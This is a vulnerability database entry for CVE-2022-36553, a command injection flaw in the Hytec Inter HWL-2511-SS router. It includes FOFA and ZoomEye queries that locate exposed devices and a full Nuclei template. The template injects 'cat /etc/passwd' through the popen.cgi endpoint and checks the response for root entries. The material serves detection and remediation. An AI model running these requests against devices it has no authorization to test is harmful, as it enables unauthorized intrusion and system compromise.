SecurityContext

CVE-2022-36553: Hytec Inter HWL-2511-SS - Remote Command Execution

Classification

  • Cwe: CWE-77
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.9679
  • Epss percentile: 0.99888
  • Cpe: cpe:2.3:o:hytec:hwl-2511-ss_firmware:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="index" && header="lighttpd/1.4.30"
  • Max-request: 4
  • Product: hwl-2511-ss_firmware
  • Vendor: hytec
  • Verified: yes
  • Zoomeye-query: app="Hytec Inter HWL-2511-SS"

Products

ProductIndexedUrl
hytec:hwl-2511-ss_firmwareyes/v1/products/hytec/hwl-2511-ss_firmware

Labels

  • Name: Hytec Inter HWL-2511-SS - Command Injection
  • Impact: Attackers can execute arbitrary commands on the device, potentially leading to full system compromise.
  • Remediation: Update to the latest firmware version that addresses this vulnerability or contact the vendor for patches.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-36553
  • Not known: requirements

```yaml

id: CVE-2022-36553

info:

name: Hytec Inter HWL-2511-SS - Remote Command Execution

author: HuTa0

severity: critical

description: |

Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the component /www/cgi-bin/popen.cgi.

impact: |

Unauthenticated attackers can execute arbitrary commands on the Hytec Inter HWL-2511-SS cellular router through command injection in the popen.cgi endpoint, potentially gaining complete control over the device and connected network infrastructure.

remediation: |

Update Hytec Inter HWL-2511-SS firmware to a version later than 1.05 that properly sanitizes command parameters in popen.cgi.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2022-36553

- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/cellular-router-rce.yaml

- https://gist.github.com/Nwqda/b27418ab801eb0b9cdbe8d042cb0249b

- https://hytec.co.jp/eng/products/our-brand/hwl-2511-ss.html

- https://hytec.co.jp/eng/wordpress/wp-content/uploads/2019/09/hwl-2511-ss-ds.3.0.pdf

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2022-36553

cwe-id: CWE-77

epss-score: 0.9679

epss-percentile: 0.99888

cpe: cpe:2.3:o:hytec:hwl-2511-ss_firmware:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 4

vendor: hytec

product: hwl-2511-ss_firmware

fofa-query: title="index" && header="lighttpd/1.4.30"

zoomeye-query: app="Hytec Inter HWL-2511-SS"

tags: cve2022,cve,hytec,rce,vkev,vuln

http:

- raw:

- |

GET / HTTP/1.1

Host: {{Hostname}}

- |

GET /cgi-bin/popen.cgi?command={{command}}&v=0.1303033443137912 HTTP/1.1

Host: {{Hostname}}

payloads:

command:

- "cat%20/etc/passwd"

- "type%20C://Windows/win.ini"

stop-at-first-match: true

matchers-condition: or

matchers:

- type: dsl

dsl:

- "regex('root:.*:0:0:', body)"

- "contains(body_1, '<title>index</title>')"

- "status_code == 200"

condition: and

- type: dsl

dsl:

- "contains(body, 'bit app support')"

- "contains(body, 'fonts')"

- "contains(body, 'extensions')"

- "status_code == 200"

- "contains(body_1, '<title>index</title>')"

condition: and

digest: 490a0046304402201d14839a8cd6363bb3cd52afaee8b985998413b90cbdec25a486250d0aae3d2d02202e1dd8c8cab3963080c02e5522b06932b0227d37a5d44258093a363b92216799:922c64590222798bb761d5b6d8e72950

```